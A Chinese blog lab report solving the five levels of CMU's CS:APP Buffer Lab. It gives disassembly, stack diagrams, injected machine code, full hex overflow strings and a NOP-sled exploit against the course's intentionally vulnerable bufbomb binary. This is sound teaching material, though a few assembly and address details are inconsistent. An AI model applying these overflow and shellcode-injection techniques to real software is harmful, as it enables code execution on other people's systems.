CMU Buffer Lab项目(缓冲区溢出攻击)详解
本文同时发布于我的博客(http://ilovestudy.wikidot.com/cmu-buffer-lab-report)。
实验目的
这是CMU的CS:APP2e课程中的一个实验,学生可以通过利用一个缓冲区溢出的bug来对一个二进制程序进行攻击,改变它的行为。这次实验可以帮助学生深入了解栈的机制,以及缓冲区溢出攻击的危害性。
预备知识1:Linux的地址空间(32位)
在现代的操作系统中,每个进程都运行在自己的虚拟地址空间中,类似于一个沙盒。实际上每个进程的虚拟地址空间都会被分页机制映射到物理地址的页或者虚拟内存的页,虚拟内存即在内存不够时用硬盘充当一部份内存使用的部分,比如linux的swap分区。
以4G内存为例,Linux的运行时内存布局是这样的:
Linux的内存布局
因此,每一个程序运行时所用到的虚拟地址空间都是一样的,这使得针对栈的攻击变得很容易。因此,Linux对栈(stack)、内存映射段(memory mapping segment)和堆(heap)都做了随机化处理,在它们的开头部分添加随机的偏移量;但由于32位下的内存总量也不多,效果并不是很好。
预备知识2:AT&T X86汇编语法
(略)(做这个实验的话,不妨假设你已经会这些东西了)
实验概述
下载了实验所用程序并解压后,里面有4个文件:
- bufbomb
- hex2raw
- makecookie
- buflab.pdf
buflab.pdf是实验说明书,其中详细说明了实验内容:bufbomb是一个可执行文件,在不同模式下可以接收一个或多个字符串的输入。程序并不判断每个字符串的长度,因此可以通过构造一个较长的字符串,使它超出(用于存储字符串的)缓冲区的长度,覆盖栈中原有的数据和返回地址,使程序完成你想要的动作。共有5个级别的任务要求。因为它是一个作业程序,所以学生在运行的时候需要用-u来指定自己的id作为参数(当然,如果你并不是要拿这个来交作业,就可以随便写一个字符串,只要保证一致性就行),程序的破解方法随不同的id而略有不同。
bufbomb有两种模式。在普通模式下,虽然上文说到了,栈的起始地址有随机性,但bufbomb保证栈帧是稳定的(也就是说,在每次运行的时候内部的程序和变量的地址都是不变的),方便学生进行破解;在Nitroglycerin(硝酸甘油)模式(在命令行加入参数-n启用)下,程序对栈帧加入了更多的扰动,使得地址比一般情况下更不稳定。这个模式在任务4中会用到。
makecookie接收一个字符串(也就是id)作为输入,输出它根据一定的算法计算出的cookie,这个cookie在bufbomb的破解过程中会用到。
hex2raw可以把16进制的字符串转成适合输入的二进制形式(因为在普通的编辑器下,输入ascii字符比较简单,但很难直接编辑二进制形式)。
一些需要注意的事
实验给出的可执行文件都是在32位下编译的,在64位的机器上无法直接执行。可以执行
sudo apt-get install libc6:i386 libgcc1:i386 gcc-4.6-base:i386 libstdc++5:i386 libstdc++6:i386
来安装32位的运行环境(请参考这篇文章)。如果Ubuntu的版本比较高,可以把4.6改成4.7。(请参考这篇文章)。
如果还是不能运行(比如说我的情况),请考虑一下是不是把文件在Windows下解压了才拷贝到Linux下的。好像这样并不能运行,需要把压缩文件在Linux下解压。
除了不同的id导致的区别以外,bufbomb的运行和反编译结果还可能会随编译器和运行平台等的不同而有所区别,所以这篇文章中给出的具体结果可能并不能完全复制。
(一些吐槽:这是我的汇编课的作业。不知道出于什么考虑,老师讲了一通X86的汇编语法之后就留了这个作业,把虚拟内存技术全丢到MIPS那个部分去讲了,以至于我完全不明白,为什么把二进制程序反汇编之后能得到程序存储的具体地址。这个实验的说明书最开始也没讲明白,它使用了使栈帧稳定的技术,所以开始的4个任务可以当每次运行都一样去破解。)
实验任务
准备工作
将bufbomb进行反汇编:
objdump -d bufbomb > buf_asm // 输出bufbomb的汇编代码到文本文件buf_asm
objdump -t bufbomb > buf_table // 输出bufbomb的符号表到文本文件buf_table
用makecookie得到自己的cookie为0x1a38cb1d:
./makecookie 2015011280
为了简化输入,你可以把自己要输入的字符串写在exploit.txt中,然后直接执行命令cat exploit.txt | ./hex2raw | ./bufbomb -u 2015011280,就可以在控制台看到运行结果了。
任务0:Candle
getbuf中的test函数调用getbuf函数,接收字符串输入,然后返回到test函数。要求对getbuf进行缓冲区攻击,使getbuf函数不返回到test,而是调用smoke函数。
任务说明书中给出的test函数的源代码
在buf_asm文件中找到getbuf函数的汇编代码:
08048cbe <getbuf>:
8048cbe: 55 push %ebp
8048cbf: 89 e5 mov %esp,%ebp
8048cc1: 83 ec 28 sub $0x28,%esp
8048cc4: 83 ec 0c sub $0xc,%esp
8048cc7: 8d 45 d8 lea -0x28(%ebp),%eax
8048cca: 50 push %eax
8048ccb: e8 41 01 00 00 call 8048e11 <Gets>
8048cd0: 83 c4 10 add $0x10,%esp
8048cd3: b8 01 00 00 00 mov $0x1,%eax
8048cd8: c9 leave
8048cd9: c3 ret
通过阅读代码,得知调用Gets前的栈帧是这样的:
| 地址 | 说明 | 指向该地址的寄存器 |
|---|---|---|
| ebp+4 | return address | |
| ebp | old ebp | ebp |
| ... | ... | ... |
| ebp-40 | eax | |
| ... | ... | ... |
| ebp - 56 | eax(作为Gets的参数) | esp |
可以看出,只要从ebp-40的位置开始写44个字节,然后再写上smoke的地址(从buf_asm中可以得知是0x08048b6b),即可覆盖getbuf的返回地址,使getbuf返回到smoke函数。
构造exploit-0.txt如下(注意字节的大小端):
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 6b 8b 04 08
执行命令
cat exploit-0.txt | ./hex2raw | ./bufbomb -u 2015011280
程序输出
Userid: 2015011280
Cookie: 0x1a38cb1d
Type string:Smoke!: You called smoke()
VAILD
NICE JOB!
成功。
任务1:Sparkler
这次我们仍然要求对getbuf进行缓冲区攻击,使getbuf函数不返回到test,调用fizz函数,且要求fizz认为自己接收了cookie作为参数。
fizz函数
我们只需要调用fizz,并且在栈帧中写入数据,就好像在调用之前把参数和返回地址压栈了一样。所以这次的栈帧中的数据是这样的:
| 地址 | 说明 | 指针 |
|---|---|---|
| ebp-12 | fizz函数认为val所在的位置 | |
| ebp-8 | fizz函数认为返回值所在的位置 | |
| ebp-4 | return address | |
| ebp | old ebp | ebp |
| ebp-40 | eax | |
| ebp-52 | esp | |
| eax(作为Gets的参数) | esp |
因为getbuf函数会将返回地址弹出并跳转到此地址(在这里也就是fizz的地址),fizz函数面对的栈帧就是ebp-8及其上面的部分,按照一般的函数调用规律来说,ebp-8处保存的是返回地址,从ebp-12处向上是输入参数。
所以,这次我们只需要从ebp-40的位置开始写44个字节,加上fizz的地址(从buf_asm中可以得知是0x08048b98),加上4个字节(即fizz认为是返回值的部分),再加上val的值(也就是cookie,0x1a38cb1d)就可以了。
构造exploit-1.txt如下(注意字节的大小端):
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 98 8b 04 08
00 00 00 00 1d cb 38 1a
执行命令
cat exploit-1.txt | ./hex2raw | ./bufbomb -u 2015011280
程序输出
Userid: 2015011280
Cookie: 0x1a38cb1d
Type string:Fizz!: You called fizz(0x1a38cb1d)
VAILD
NICE JOB!
成功。
任务2:Firecracker
这次的任务难度增大了,需要使程序跳转到你写的一段反汇编代码,将全局变量global_value设置为cookie的值,随后再跳转到bang函数进行验证。
bang函数
对于这一任务,程序指导书上给出了如下几点建议:
- 可以用GDB获取构建攻击字符串所需的信息。在getbuf函数里设置一个断点,运行至断点处,然后设法找出所需的信息,比如global_value的地址和buffer的地址。(但其实global_value的地址可以在符号表里找到,我的是
0x0804e140;只有buffer的地址需要在运行时获取。) - 手工把汇编指令翻译成二进制机器码既累又容易出错。你可以用工具来完成这项任务:把需要翻译的指令写在一个文本文件里,用
gcc -m32 -c命令汇编这个文件,再用objdump -d命令反汇编这个文件,这样你就可以在命令行里得到指令的机器码了。 - 记住,你的攻击字符串与机器、编译器和id都有关,所以不要随意更改。
- 在写汇编代码的时候注意寻址方式。
movl $0x4, %eax会在eax中装载值0x00000004,而movl 0x4, %eax会在eax中装载位于内存0x00000004处的值。 - 不要试图用
jmp或call命令跳转到bang函数。这些指令的寻址方式与PC相关,很难设置正确。更好的做法是把地址推到栈上,然后运行ret指令。
让我们先回到getbuf函数。
getbuf函数的汇编代码
为了找出buffer的首地址,需要使用GDB在0x08048cca处加断点(汇编代码的调试方法见这里),然后查看eax的值,得到地址为0x55682ed8。
为了将global_value设置成cookie,编写汇编代码如下:
mov $0x1a38cb1d 0x0804e140 # 把cookie移到global_value里
push 0x08048be9 # 把bang的地址入栈作为返回值
ret # 返回到bang函数
将这段代码汇编再反汇编,得到机器码如下:
c7 05 40 e1 04 08 1d cb 38 1a 68 e9 8b 04 08 c3
为了执行这段代码,我们需要使getbuf返回到代码开头的地址,不妨就把这段代码放在缓冲区的开头部分,这样只需要跳转到0x55682ed8即可。然后补全到44个字节,覆盖掉保存的ebp,再加上buffer的首地址就可以了。下图是写入字符串之后的栈帧示意图。
| 地址 | 说明 | 指针 |
|---|---|---|
| ebp-4 | return address(buffer的首地址) | |
| ebp | old ebp(被覆盖掉) | ebp |
| ... | ... | ... |
| ebp-25 | 汇编代码结束 | |
| ... | ... | ... |
| ebp-40 | 汇编代码开始 | eax |
| ebp-52 | esp | |
| eax(作为Gets的参数) | esp |
构造exploit-2.txt如下(注意字节的大小端):
c7 05 40 e1 04 08 1d cb
38 1a 68 e9 8b 04 08 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 d8 2e 68 55
执行命令
cat exploit-2.txt | ./hex2raw | ./bufbomb -u 2015011280
程序输出
Userid: 2015011280
Cookie: 0x1a38cb1d
Type string:Bang!: You set global_value to 0x1a38cb1d
VALID
NICE JOB!
成功。
任务3:Dynamite
这一次,除了需要执行我们放在栈上的代码之外,我们还需要改变程序的寄存器和内存状态并使程序在察觉不到的情况下正常返回。(也就是使攻击代码返回到调用getbuf的test,但是把返回值从1改成cookie。)
调用getbuf时的栈帧如下图:
| 地址 | 说明 | 指向该地址的寄存器 |
|---|---|---|
| ebp+4 | return address | |
| ebp | old ebp | ebp |
| ... | ... | ... |
| ebp-40 | eax | |
| ... | ... | ... |
| ebp - 56 | eax(作为Gets的参数) | esp |
其中返回值保存在eax中,为1。我们需要做的包括以下几点:
- 通过GDB得到保存的ebp值,防止在用字符串覆盖时破坏ebp的值
- 覆盖getbuf的返回值,使得getbuf返回到攻击代码的开头
- 在攻击代码中修改eax的值,并返回到正确的返回地址
在GDB中设置断点为0x08048cbe,得到ebp的值为0x55682f20。
设置断点的位置
攻击代码所处的位置,也就是buffer开头的部分,与上一个任务相同,仍然是0x55682ed8。阅读test函数可知,getbuf的返回地址应该是0x08048c57。
test函数中调用getbuf的部分
编写汇编代码如下,
mov $0x1a38cb1d, %eax # 将cookie存入eax中
push $0x8048c57 # 将getbuf原来的返回地址存入栈中
ret # 返回到test中原来的地址
反编译得到字节码为
b8 1d cb 38 1a 68 57 8c 04 08 c3
为了执行这段代码,我们把它放在攻击字符串的开头部分,补全到40个字节,加上保存的ebp的值,再加上buffer的首地址即可。
构造exploit-3.txt如下(注意字节的大小端):
b8 1d cb 38 1a 68 57 8c
04 08 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 98 8b 04 08
20 2f 68 55 d8 2e 68 55
执行命令
cat exploit-3.txt | ./hex2raw | ./bufbomb -u 2015011280
程序输出
Userid: 2015011280
Cookie: 0x1a38cb1d
Type string:Boom!: getbuf returned 0x1a38cb1d
VALID
NICE JOB!
成功。
任务4:Nitroglycerin
getbufn函数的源代码
这将会用到之前说过的-n命令,难度又提高了一级。你需要连续输入五次同样的字符串,程序将会对每一次输入调用testn函数后调用getbufn函数,其中加入了对栈帧的扰动,栈帧的绝对位置会发生变化,因此不能再像上一个任务那样记下ebp的值再恢复。那么,如何在调用攻击代码时正确地恢复ebp的值,并让getbufn函数返回cookie呢?首先,我们来看testn和getbufn的代码。
testn的部分汇编代码
getbufn的汇编代码
虽然我们在写字符串的过程中会覆盖掉旧的ebp,使得getbufn结束跳转到攻击代码时ebp的值不能正常恢复,但在getbufn的最后,esp已经被正常恢复到testn调用getbufn之前的状态,而testn中,esp = ebp - 24,所以只需恢复ebp到esp + 24。
这次我们不能确定buf的起始地址了,如何知道让getbufn跳转到什么位置才能执行攻击代码呢?这里引入nop指令:它什么也不干,只是跳到下一条指令,所以我们只要在攻击代码前面填上nop,保证跳转到的位置在攻击代码前面就可以了。用GDB进行调试,在0x08048cec处加断点,观察eax的值,发现每5次运行中eax的值都是相同的,分别为0x55682cf8,0x55682d28,0x55682cc8,0x55682c88和0x55682d08,其中最大的是0x55682d28(因为栈是从地址高处下降的,而代码是按正常的地址顺序执行的,所以使程序返回到最大的地址就可以使程序在运行攻击代码之前不遇到nop以外的指令)。
获得getbufn中buf的起始地址
编写汇编代码如下,
mov $0x1a38cb1d, %eax # 将返回值从1更改为cookie
lea 0x18(%esp), %ebp # 恢复ebp的值
push $0x8048d0e # 返回到testn中getbufn的正常返回位置
ret
反编译得到字节码为
b8 1d cb 38 1a 8d 6c 24 18 68 0e 8d 04 08 c3 40 2d 68 55
| 地址 | 说明 | 指向该地址的寄存器 |
|---|---|---|
| older ebp(getbufn过程保存) | oldest ebp(testn过程保存) | |
| ... | ... | ... |
| older ebp - 24(ebp+8) | ||
| getbufn的返回地址 | ||
| older ebp | ebp | |
| ... | ... | ... |
| ebp - 520 | eax | |
| ebp - 524 | ||
| ebp - 528 | ||
| ebp - 532 | ||
| ebp - 536 | eax,buf的起始地址(作为Gets的参数) | esp |
调用了testn再调用getbufn之后,调用Gets之前的栈帧是这样的:
| 地址 | 说明 | 指向该地址的寄存器 |
|---|---|---|
| older ebp(getbufn过程保存) | oldest ebp(testn过程保存) | |
| ... | ... | ... |
| older ebp - 24(ebp+8) | ||
| getbufn的返回地址 | ||
| older ebp | ebp | |
| ... | ... | ... |
| ebp - 520 | eax | |
| ebp - 524 | ||
| ebp - 528 | ||
| ebp - 532 | ||
| ebp - 536 | eax,buf的起始地址(作为Gets的参数) | esp |
因此,我们只需一共构造528个字节的攻击字符串,其中最后4个字节是之前得出的buf的最大可能地址,在前面紧贴着放上汇编代码即可。
构造exploit-4.txt如下(注意字节的大小端):
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 b8 1d cb 38 1a 8d 6c 24 18 68 0e
8d 04 08 c3 40 2d 68 55
执行命令(注意要加上-n)
cat exploit-4.txt | ./hex2raw -n | ./bufbomb -n -u 2015011280
程序输出
Userid: 2015011280
Cookie: 0x1a38cb1d
Type string:KABOOM!: getbufn returned 0x1a38cb1d
Keep going
Type string:KABOOM!: getbufn returned 0x1a38cb1d
Keep going
Type string:KABOOM!: getbufn returned 0x1a38cb1d
Keep going
Type string:KABOOM!: getbufn returned 0x1a38cb1d
Keep going
Type string:KABOOM!: getbufn returned 0x1a38cb1d
VALID
NICE JOB!
成功。
感想
汇编真的很烧脑,即使画图也经常会出错。做完之后还是很有成就感的,就好像自己真的攻击了一个什么厉害的程序一样(并没有)。这篇文章也写了好久,拖了将近两周,一直在纠结怎样才能把过程叙述得更清楚,但这一点比我想象的可要难得多,最后可能还是有些费尽口舌也没有说得特别好的地方,可以参照参考文献里面的几篇。
参考文献
本文参考了以下几篇文章: